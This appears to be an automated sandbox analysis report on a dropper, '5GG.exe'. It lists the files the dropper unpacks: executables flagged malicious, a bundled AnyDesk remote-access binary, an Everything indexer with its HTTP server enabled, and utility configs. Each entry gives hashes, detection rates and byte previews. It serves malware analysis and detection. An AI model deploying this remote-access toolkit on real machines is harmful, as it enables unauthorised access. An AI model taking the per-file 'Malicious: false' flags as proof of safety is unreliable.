Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{.T.?.:.?.:.?.:.6f..3.:.]f;.=.:..l;.=.:.]f?.3.:.]f>.7.:.]f9.;.:..g;.<.:.?.;...:..g>...:..g:.>.:..g.>.:..g8.>.:.Rich?.:.........PE..d.....0b.........." .....<...T......<................................................[....`.........................................00...N..HE..........s.......\|M..............h... ...8...............................@............0..H............................text....:.......<.................. ..`.rdata..:....P...0...@..............@..@.data...AM.......D...p..............@....pdata..dV.......X..................@..@.idata..PW...0...X..................@..@.00cfg..u............d..............@..@.rsrc...s............f..............@..@.reloc..a............n..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\1.cfg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	598
Entropy (8bit):	4.8143755723972435
Encrypted:	false
SSDEEP:	12:1tf9JDiHdc+B/OJMqo+tcsCjO+PNTwdDDDsoWN66cmyEtGXd:1tFJuHSs/OJMq7h4wZDDeRaLt
MD5:	E6F2BF5A6B45EEEC5D27D7CE9BCE2475
SHA1:	36CD012B90865C79F63247AF840A5BC1DA958A0C
SHA-256:	29CF78294F4FAD3408259B0418860744E3FC77EB2BCCBDAD5120651D75BE0328
SHA-512:	93BB410988CF7C295A5AB0F19C2D6D2C7FB57F71B678698BD92A3169851E885C514C586FEAEC74C97133A4C174034C5E629425501D2D800946F7B64083D096F1
Malicious:	false
Preview:	[General]..ShowGridLines=0..SaveFilterIndex=0..ShowInfoTip=1..ShowTimeInGMT=0..MarkOddEvenRows=0..ShowMilliseconds=0..SaveFileEncoding=0..LastTimeFilter=0..LastTimeFilterValue=1..LastTimeFilterUnit=4..ReadArchiveFiles=1..UseQuickFilter=0..QuickFilterString=..QuickFilterColumnsMode=1..QuickFilterFindMode=1..QuickFilterShowHide=1..AddExportHeaderLine=1..WinPos=2C 00 00 00 02 00 00 00 03 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 80 02 00 00 72 00 00 00 00 05 00 00 52 02 00 00..Columns=78 00 00 00 96 00 01 00 96 00 02 00 FA 00 03 00 96 00 04 00 78 00 05 00 5E 01 06 00..Sort=4096..

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	133448
Entropy (8bit):	6.380882986828774
Encrypted:	false
SSDEEP:	3072:5e69eWHZXp1nPDhhloZqX6EsSiEF4Gw1aqL1p7BZ5CJ/:5e/+1nrhPKqX6EsS94H8B
MD5:	F27A284EF9B018CDD2A98A7B78CCDCB3
SHA1:	67E260B11E6227C18CAE8925B4F6899103C607F2
SHA-256:	AF86DC3F76D39B67B967A3B714E9E70ED43EEC8D3871E9691CB45D84372B53FB
SHA-512:	9A8811F13517748539308A70933B126A3348407F397BF30F903019379F927532C64015853B94ACF21BDBC554D638A0265D4394D026E289103DB06FE93FE5524B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......On3...]S..]S..]S...S..]S...S..]S.,.S..]S.,AS..]S..\S:.]S.,DS..]S,./S".]S,.!S..]S,.%S..]SRich..]S................PE..L...."d................. ..........v+.......0....@.................................`........................................x...........V..............H!..........`4...............................................0..(............................text............ .................. ..`.rdata...^...0...`...$..............@..@.data...............................@....rsrc....V.......X..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1690992
Entropy (8bit):	6.826941121474418
Encrypted:	false
SSDEEP:	24576:HM33oPhoNsZ8IbF1lyDt3Ups4yAg7UrA2ei9QgTum+ApT:sHogIJD2y9oIreG
MD5:	463058236A0D84F8F8982D946EED0E07
SHA1:	800AB71ED3B3BF4FB67FC9E1628E59D0AAB8B124
SHA-256:	C93A0F4C6B5F24EE31CDDB92B0EA3337021B5FB91FAAE8A381D3BD2C9B6ADD54
SHA-512:	18BD9AEA8489C5E873A679DA92C83D2739DE9532F5751BD23AEA9EDA226B9A95909F8FD525B0CE47859492997002AEE32ECF37BB79E07F24B512287B8FD58A53
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B............................6.......@....@.......................... ...................@.............................../.......6..............hL......<...................................................................................CODE....\(......................... ..`DATA.....(...@.....................@...BSS..........p.......X...................idata.../.......0...X..............@....tls....$................................rdata..............................@..P.reloc..<...........................@..P.rsrc....6.......6..................@..P............. ......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\3.cfg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	590
Entropy (8bit):	4.5409639845996175
Encrypted:	false
SSDEEP:	12:1wdcDf9JDilazsCjO+PNTRrH2NNg8Y8H4icqkw:1wSDFJulb4F8zYM3P
MD5:	BEA838A0D8A4FAD44F9A39E298394811
SHA1:	34A0E2ADA40BAA46689684B04993C49827BE86D1
SHA-256:	66651C5271723DB7E9CCB26E7378F4CCBF4603C66D5469F59483B82A777C7FC7
SHA-512:	DD793C006990722D37E00EC8F6D05B4E5718EEE1F876DC2FE691BC772FAA71E7409AAACFD805333C928881EB7F4EDDDD6131D9AA5FD7DC49F084FA9606C59A24
Malicious:	false
Preview:	[General]..ShowTimeInGMT=0..MarkOddEvenRows=0..ShowGridLines=0..SaveFilterIndex=0..ShowInfoTip=1..UseRecentFolder=0..RecentFolder=..AlignNumbersToRight=0..UseQuickFilter=0..QuickFilterString=..QuickFilterColumnsMode=1..QuickFilterFindMode=1..QuickFilterShowHide=1..WinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 68 00 00 00 68 00 00 00 E8 02 00 00 48 02 00 00..Columns=78 00 00 00 FA 00 01 00 78 00 02 00 78 00 03 00 78 00 04 00 78 00 05 00 64 00 06 00 78 00 07 00 64 00 08 00 96 00 09 00 96 00 0A 00 6E 00 0B 00 78 00 0C 00 2C 01 0D 00..Sort=0..

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	95440
Entropy (8bit):	6.323880918293386
Encrypted:	false
SSDEEP:	1536:zuHXbO8QQlS6sAS76Ffm4O8cwZN1L2k27Ruc5Jqbia:zkXbSQhs176Fuh7wZN0k27Rucu5
MD5:	1A7524A3F7443C3E041774D5F372142C
SHA1:	B7F4CE125731505CB4961DF217465EF6A94C31DF
SHA-256:	E000C782AF989E016EFCEF1664B9D652B0FEE59B011E28154072F7B6001B124D
SHA-512:	3A3E4412727086BDFEA85CB9DA8D8994FF2F37AA4C761458BA0006DFD7E6FB72B313940EEC5AD197B1026E6AF4D10D72CBE85C99E3A245BA2C18141FA633EC19
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q...5h.J5h.J5h.J.g.J7h.J.g.J'h.J.K.J6h.J.K.J>h.J5h.J#i.J.K.J6h.J...J/h.J...J4h.J...J4h.JRich5h.J................PE..L......Z............................Z.............@.........................................................................\........ ...P...........F...............................................................................................text............................... ..`.rdata..Z-..........................@..@.data...............................@....rsrc....P... ...R..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1719840
Entropy (8bit):	6.358258924810426
Encrypted:	false
SSDEEP:	24576:V7eokafnkAwgcU+29fR4PQviXq1pj3EDT5m+m8I:V6efnkdlUF92PGBOT3m8
MD5:	B365AF317AE730A67C936F21432B9C71
SHA1:	A0BDFAC3CE1880B32FF9B696458327CE352E3B1D
SHA-256:	BD2C2CF0631D881ED382817AFCCE2B093F4E412FFB170A719E2762F250ABFEA4
SHA-512:	CC3359E16C6FE905A9E176A87ACF4C4ED5E22C29BFCA11949799CAF8442E00EC0D1679B3D8754DBC3E313528D3E8E82C0EC1941E2C3530B48229C1CB337F6B8B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................'< .....'<".....'<#.............................'<%.....'<>.............A...3...A.......A.........F.....A.......Rich....................PE..d......V.........."..........p.................@....................................S+....`..........................................\|..6[.....................@....... :..............p...........................p................................................text............................... ..`.rdata..............................@..@.data........ ...h..................@....pdata..@............p..............@..@.gfids..............................@..@.rsrc...............0..............@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83552
Entropy (8bit):	6.265330900388332
Encrypted:	false
SSDEEP:	1536:mnfPc3+xpqH7tTkloB7MYk34T8bbcw+BI2SNGOcJ74l8:mnf03+xpq71kl0QYk3Jbww+JSNGOcZ4q
MD5:	7366668CC7EAA1068A38CC2761217FC4
SHA1:	A6790473129E7298185EF4EE4E0BADBDECC50040
SHA-256:	E3AF98717BF1CDA7DC4AACB5B34D111AC237604161CD96F7929EC33F2FF260B6
SHA-512:	5AF36447A1D29C2024B83CF08BB9CFC2C360E02D819EB7B238E1E9F774AEF6E5930F5F33B9F64D62E4E958911493338A0D95B58B22B076C4E9025ABE6F3F0B4A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............J...J...J6..J...J6..J.J...J...J/..J...J...J.J...J...J.A.J.J.A.J.J.A.J.JRich...J........PE..L...F..V.....................~...................@..........................0......s....................................................K..............`............................................................................................text...v........................... ..`.rdata...-..........................@..@.data...`...........................@....rsrc....K.......L..................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\6.cfg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with very long lines (439), with CRLF line terminators
Category:	dropped
Size (bytes):	1478
Entropy (8bit):	4.455000854996292
Encrypted:	false
SSDEEP:	24:1txou3fBGfA0YdbmkjbmBSbmOBSfw3I2Q46KUI/1Uo1pC0Li+wvcZFywR:1Au3JGABdbmmbmMbmOMXf2UI/dPup3Y
MD5:	F683464815962674746646484FDE4EBA
SHA1:	ADC7EFBA2BC3253DDA70F8B4BDB4C363FEA9E5AC
SHA-256:	2623EE1F600153842D109A6E41951758F645FF09D00031166AE9DFEAEC4578D5
SHA-512:	B2903F11C728D5AD5180CE4026205F9F1D4F9E4EF8508A6BDF9BABAA0C70A8ACCEA81B4606E3FA7981818B2FE433CF224704A6181F66E5F87193A79434376569
Malicious:	false
Preview:	[General]..ShowGridLines=0..ShowInfoTip=1..DisplayDisconnected=1..DisplayNoPortSerial=1..DisplayNoDriver=0..DisplayHubs=0..ShowDisconnectMessage=0..TrayIcon=0..ShowWindowOnDeviceConnect=0..DisplayOnlyDriveLetter=0..AutoPlayOnDeviceConnect=0..DisplayBalloonOnDeviceConnect=0..StartAsHidden=0..ShowTimeInGMT=0..DisplayBalloonOnDeviceDisconnect=0..RetrieveUSBPower=1..MarkConnectedDevices=1..SortOnEveryUpdate=0..SaveFilterIndex=0..DeviceConnectExecute=..UseDeviceConnectExecute=0..DeviceDisconnectExecute=..UseDeviceDisconnectExecute=0..AddExportHeaderLine=0..MarkOddEvenRows=0..DecodeSerialNumbers=1..MainFont=00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..RemoteComputer=..RemoteFile=..AutoStartRemoteRegistry=0..DisableEnableWaitTime=100..AlwaysOnTop=0..WinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	184016
Entropy (8bit):	6.195069233165944
Encrypted:	false
SSDEEP:	3072:ruK7fbP+DgsGRbkdhgkzBsEGp5Eqfip2XM/PSZGSc+s3yxzNiP7whIOS2x:iC+DmpkdpBsEGEKRsidNiMS4
MD5:	34007F728886FC92CF942C6FBF3CD29C
SHA1:	815329BE006971D37CA6E2A6BA4D12D877EF7D31
SHA-256:	0A594477309DB1A1B223CBB99304F076C46B90D032A877BA2FF9D3599B8AF8C1
SHA-512:	3743AA19115365D246F0895CBCC26321550715B5BCB066C683F4AFCE3A170455AE9CECDAD8E5E06B4A9C83FD2395D9C4C7A1F72D0E5319ED04EA1B27C8781908
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................S....S............S..................Rich...........................PE..d...n.\..........#............................@............................................................................................8........`.. c...P..........................................................................(............................text............................... ..`.rdata...O.......P..................@..@.data...p....0......."..............@....pdata.......P.......,..............@..@.rsrc... c...`...d...<..............@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\7.cfg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with very long lines (439), with CRLF line terminators
Category:	dropped
Size (bytes):	1478
Entropy (8bit):	4.455000854996292
Encrypted:	false
SSDEEP:	24:1txou3fBGfA0YdbmkjbmBSbmOBSfw3I2Q46KUI/1Uo1pC0Li+wvcZFywR:1Au3JGABdbmmbmMbmOMXf2UI/dPup3Y
MD5:	F683464815962674746646484FDE4EBA
SHA1:	ADC7EFBA2BC3253DDA70F8B4BDB4C363FEA9E5AC
SHA-256:	2623EE1F600153842D109A6E41951758F645FF09D00031166AE9DFEAEC4578D5
SHA-512:	B2903F11C728D5AD5180CE4026205F9F1D4F9E4EF8508A6BDF9BABAA0C70A8ACCEA81B4606E3FA7981818B2FE433CF224704A6181F66E5F87193A79434376569
Malicious:	false
Preview:	[General]..ShowGridLines=0..ShowInfoTip=1..DisplayDisconnected=1..DisplayNoPortSerial=1..DisplayNoDriver=0..DisplayHubs=0..ShowDisconnectMessage=0..TrayIcon=0..ShowWindowOnDeviceConnect=0..DisplayOnlyDriveLetter=0..AutoPlayOnDeviceConnect=0..DisplayBalloonOnDeviceConnect=0..StartAsHidden=0..ShowTimeInGMT=0..DisplayBalloonOnDeviceDisconnect=0..RetrieveUSBPower=1..MarkConnectedDevices=1..SortOnEveryUpdate=0..SaveFilterIndex=0..DeviceConnectExecute=..UseDeviceConnectExecute=0..DeviceDisconnectExecute=..UseDeviceDisconnectExecute=0..AddExportHeaderLine=0..MarkOddEvenRows=0..DecodeSerialNumbers=1..MainFont=00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..RemoteComputer=..RemoteFile=..AutoStartRemoteRegistry=0..DisableEnableWaitTime=100..AlwaysOnTop=0..WinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131280
Entropy (8bit):	6.314976742891491
Encrypted:	false
SSDEEP:	3072:7HDVoq+tYBpmBqKsdUv9PCbes7NiP7whIEiv:zF+c2seRs7Niaq
MD5:	B42D5609EDA1F2B1EFFE89D03EF67C67
SHA1:	E4A512BADAF217C72178B3CD61500FE6A533BBB5
SHA-256:	20FAB93FE9654C9810C3ABF786B864FB9EAF8C5712CDE4B0F48D42E47EDD59B9
SHA-512:	DED35969E3D7E1FD5C8AB826BCEDF12FD3CD5BADF4E36D967AF9B0034DE0E5DF1A0511C01CF73C942C4A16C4D8B6AEFAC0D5500E4EAC387A0EC29C9CF9CB68F5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........q...............B.....7._.....................7.........m.......c.......g.....Rich............................PE..L...v.\.............................8.......@....@..................................S.......................................`...........c..........................`D...............................................@...............................text...y,.......................... ..`.rdata...4...@...6...2..............@..@.data...@............h..............@....rsrc....c.......d...n..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1778184
Entropy (8bit):	6.725154486759729
Encrypted:	false
SSDEEP:	49152:Ohua8pOpRzsOV9bzmkSMDGtsFh29slhcReer+z:Ohudp6xlG6z
MD5:	A7067594451CAB167A4F463BE9D0209C
SHA1:	1C2B1E5A0826CA07CC0AA8B3D24BAD0A41845DF5
SHA-256:	D3A6ED07BD3B52C62411132D060560F9C0C88CE183851F16B632A99B4D4E7581
SHA-512:	8FB6E9A82213CC1C371EDDC12833B8CAD037B800A58A3A3520EB7B14C9E41E61A8BF5DB27BD6A79DD8013C51649396FEFF22436CB7BACF64989552A5A11ABBD4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..U_.U_.U_.Z(_..U_.Z;_.U_..<_..U_).._..U_).._..U_.T_..U_.Z8_P.U_.Z)_.U_.Z-_.U_Rich.U_................PE..L.....od..........................................@..........................@.......F....@.................................T...........................(...P.......................................z..@...............(............................text............................... ..`.rdata.............................@..@.data...,...........................@....rsrc...............p..............@..@.reloc..v....P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\AnyDesk.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4040776
Entropy (8bit):	7.9991565509956315
Encrypted:	true
SSDEEP:	98304:oOmZb0bHkeaRs4WpcF8uztWOiiROB4/Oo1sRF:rmZb0bEds4XFR0OiC/GT
MD5:	30C9C57AA570088D745FAC7BFD05B805
SHA1:	D579D18848859614E219AFA6332D410E0CA71FC3
SHA-256:	8CD552392BB25546BA58E73D63C4B7C290188CA1060F96C8ABF641AE9F5A8383
SHA-512:	182DC736CF09E8B4E063B29C839999AB28506A71E22173484F9DBC9BF9472456406AA0C8DE542D85436200317175F9E32D65F1BB1E567B8C717860348FD3B52C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........h.}.;.}.;.}.;..";.}.;..#;.}.;...;.}.;...;.}.;Rich.}.;........................PE..L.....d..........".........8=..............@....@..........................P.......>...@.............................................PH...........b=.HF...@.......................................................................................text...5(......................... ..`.itext.......@...........................rdata..............................@..@.data.....<.......<..2..............@....rsrc...PH.......J....=.............@..@.reloc.......@.......^=.............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\Everything.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	52996643
Entropy (8bit):	6.1927923609930255
Encrypted:	false
SSDEEP:	393216:Q4ydC24a8/L0hm5jCQdSQtK7+bc2RaoGOtuZZZIj8:QbdC24aO2m5jCQoNynaoRU
MD5:	A67A9A1C45C76CC0C041DFCE855BE176
SHA1:	389E2109B8231B1A66309756CC40567ED3030783
SHA-256:	42208976541407ACFE447B380F7276AD5EDA6387AFDBEDADA01FC29DAC9355E8
SHA-512:	C58476D5421BD4EA7C22A7BE45520918D5F3A2C6F30DF4E01E80110CFD31C65BE3A697B586FD8B5A4DD453CD3C9DCF87F3A5ACE465F64C5183BCE3B8FDCB24A0
Malicious:	false
Preview:	ESDb.....%.............0\\?\Volume{ed125b13-8f07-4eac-8bea-628ae2b5a133}.C:..L...U!.....]......0\\?\Volume{ea9d0718-83fd-4285-9083-a6c156cb4930}.D:..y........./.......0\\?\Volume{b4d57a80-b998-4361-88d1-f31c8ece4c7c}.E:.. ...a............0\\?\Volume{8b3d55fe-a150-493d-a313-1cee1d0cb7ed}.F:...s-.......Y).........{...{......\|.......}...............Y..............0j..8j..6j...j...j../j..8j..0j..6j..0j..0j..0j...j../j...j...j...j..8j..0j...j..0j..6j../j..0j...j...j..0j..0j..0j...j...j..6j..0j..0j..0j..6j..0j..6j...j../j...j...j../j..6j..0j..6j...j../j..8j..0j..6j..0j..8j...j...j..0j...j..8j...j..0j..0j..0j..6j..0j...j...j..0j..0j..0j..8j../j..0j..0j..0j..6j..0j...j..0j..0j..0j...j...j..0j..6j..0j...........!...]..6j...j../j...j..0j...j...j...j..8j..6j../j...j..0j...j..0j..0j...j..0j..0j...j...j...j...j...j..0j..0j...j..0j...j..8j..0j..0j..0j..0j../j..9j..8j..0j..0j..0j...j..0j..0j..0j..0j..8j...j..0j...j...j...j..0j...j...j...j..6j..0j..0j..0j..0j..0j..0j..0j...j..6j...j..0j...j../j..0j.

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\Everything.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20991
Entropy (8bit):	4.7727277640363726
Encrypted:	false
SSDEEP:	192:RvddnELL+Dy9QOL4jWnTef2JFTAiwZMisXZiPgC1jvtMSbVwoQT/vXKKXF+ZtulS:Rvyg8TeEFTAYisXkMSeaxZ4z8lJCK
MD5:	EF228A80B2CB10F561456EB94685C83F
SHA1:	EB3D560265E3EEC2D8D4AF991418DF8ECA52BD3E
SHA-256:	961D7501131BE606F4E5A92AB7ABA35E344D28733B2FCB1E4F656AC88389BAE9
SHA-512:	29A439888A38AAC13BD81F2DF4B93BC69CBBAF9BA245F1DBF4ECC078BACC9066C5630607840964BBCE5865AF0AB4A6B47A4E459138990BF552B47824ED518AA9
Malicious:	false
Preview:	; Please make sure Everything is not running before modifying this file...[Everything]..run_as_admin=1..allow_http_server=1..allow_etp_server=1..window_x=888..window_y=221..window_wide=794..window_high=664..maximized=1..minimized=0..fullscreen=0..ontop=0..bring_into_view=1..alpha=255..match_whole_word=0..match_path=0..match_case=0..match_diacritics=0..match_regex=0..view=0..thumbnail_size=64..thumbnail_fill=0..min_thumbnail_size=32..max_thumbnail_size=256..medium_thumbnail_size=64..large_thumbnail_size=128..extra_large_thumbnail_size=256..thumbnail_load_size=0..thumbnail_overlay_icon=1..shell_max_path=0..allow_multiple_windows=0..allow_multiple_instances=0..run_in_background=1..show_in_taskbar=1..show_tray_icon=1..minimize_to_tray=0..toggle_window_from_tray_icon=0..alternate_row_color=0..show_mouseover=0..check_for_updates_on_startup=0..beta_updates=0..show_highlighted_search_terms=1..text_size=0..hide_empty_search_results=0..clear_selection_on_search=1..show_focus_on_search=0..new_win

C:\Users\user\AppData\Local\Temp\_MEI73402\programms\Run History.csv

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	5.391739053882349
Encrypted:	false
SSDEEP:	3:8uE95eF8n7OZpfFAgrhYNHog7JYEbJBR4EW:8Lja8n7upSgORogGEtBpW
MD5:	A264F7003CBE340E71C6BDD2F287D86E
SHA1:	58418D56D6E1A6EEE79B46C69759769414B8681D
SHA-256:	454145B2556205CDA833B0FA5AE484326FB04153C43B89311D22F686E45F9258
SHA-512:	C5006016C95D10DB8CE8DDFD99670F86B606424001396199F99ADBB7A3AEC7DC261501944356568716AB5F29A9E97F4E42A373744F6D9E4D4C0C666AE16FDF8C
Malicious:	false
Preview:	Filename,Run Count,Last Run Date.."C:\Windows\Prefetch\EAANTICHEAT.GAMESERVICE.EXE-EA0E9A4C.pf",1,133544623291449742..

C:\Users\user\AppData\Local\Temp\_MEI73402\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	198568
Entropy (8bit):	6.360283939217406
Encrypted:	false
SSDEEP:	3072:rkPTemtXBsiLC/QOSL6XZIMuPbBV3Dy9zeL9ef93d1BVdOd8dVyio0OwUpz1RPoi:AKmVG/pxIMuPbBFEFDBwpp2W
MD5:	6BC89EBC4014A8DB39E468F54AAAFA5E
SHA1:	68D04E760365F18B20F50A78C60CCFDE52F7FCD8
SHA-256:	DBE6E7BE3A7418811BD5987B0766D8D660190D867CD42F8ED79E70D868E8AA43
SHA-512:	B7A6A383EB131DEB83EEE7CC134307F8545FB7D043130777A8A9A37311B64342E5A774898EDD73D80230AB871C4D0AA0B776187FA4EDEC0CCDE5B9486DBAA626
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O...........6...k.....k.....k.....k.....o............\|.o.....o.....o.Z...o.....Rich..................PE..d....K.b.........." ... ............0................................................0....`.........................................`...P................................)..........@6..T............................5..@............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\af.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1038
Entropy (8bit):	4.10054496357204
Encrypted:	false
SSDEEP:	12:4EnLB383Hcm0hH9BncmtR7tK9dUVxMmALfpKIdzVJLd3xfjTuLM+vzkHWZ6tH9H0:4aR838HH9ekCkMmEfpK2xx2jiWZ0VbY
MD5:	DA8BA1C3041998F5644382A329C3C867
SHA1:	CA0BD787A51AD9EDC02EDD679EEEEB3A2932E189
SHA-256:	A1EACA556BC0CFBD219376287C72D9DBBFAB76ECF9BF204FD02D40D341BAF7DA
SHA-512:	4F086396405FDFE7FBDA7614D143DE9DB41F75BDBD3DB18B1EE9517C3DCCED238DD240B4B64829FD04E50F602DBF371D42A321D04C4C48E4B8B2A067CA1BAF2E
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset af DAYS_OF_WEEK_ABBREV [list \.. "So"\.. "Ma"\.. "Di"\.. "Wo"\.. "Do"\.. "Vr"\.. "Sa"].. ::msgcat::mcset af DAYS_OF_WEEK_FULL [list \.. "Sondag"\.. "Maandag"\.. "Dinsdag"\.. "Woensdag"\.. "Donderdag"\.. "Vrydag"\.. "Saterdag"].. ::msgcat::mcset af MONTHS_ABBREV [list \.. "Jan"\.. "Feb"\.. "Mar"\.. "Apr"\.. "Mei"\.. "Jun"\.. "Jul"\.. "Aug"\.. "Sep"\.. "Okt"\.. "Nov"\.. "Des"\.. ""].. ::msgcat::mcset af MONTHS_FULL [list \.. "Januarie"\.. "Februarie"\.. "Maart"\.. "April"\.. "Mei"\.. "Junie"\.. "Julie"\.. "Augustus"\.. "September"\.. "Oktober"\.. "November"\.. "Desember"\.. ""].. ::msgcat::mcset af AM "VM

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\af_za.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.925537696653838
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xouFygMouFqF3v6ay/5ouFy9+3vR6HyFvn:4EnLB383RAgeYF3v6ay/RAI3voSVn
MD5:	1B9DCD1C6FCDDC95AE820EA8DA5E15B8
SHA1:	E8160353FD415BAB9FD5ACCA14E087C5E6AE836E
SHA-256:	1548988458BBF0DFCCC23B7487CEC0E9C64E4CC8E045723E50BEC37C454A8C81
SHA-512:	532AF060B95AED5E381B161BE56BC88D91A8F3DF2ACFD835491991F99FE752ADB4A3F93AB6D4E68F7042C28A3C1DD87A6312DFD9FFFAFD6ECE3F1B76837C5B7F
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset af_ZA DATE_FORMAT "%d %B %Y".. ::msgcat::mcset af_ZA TIME_FORMAT_12 "%l:%M:%S %P".. ::msgcat::mcset af_ZA DATE_TIME_FORMAT "%d %B %Y %l:%M:%S %P %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ar.msg

Download File

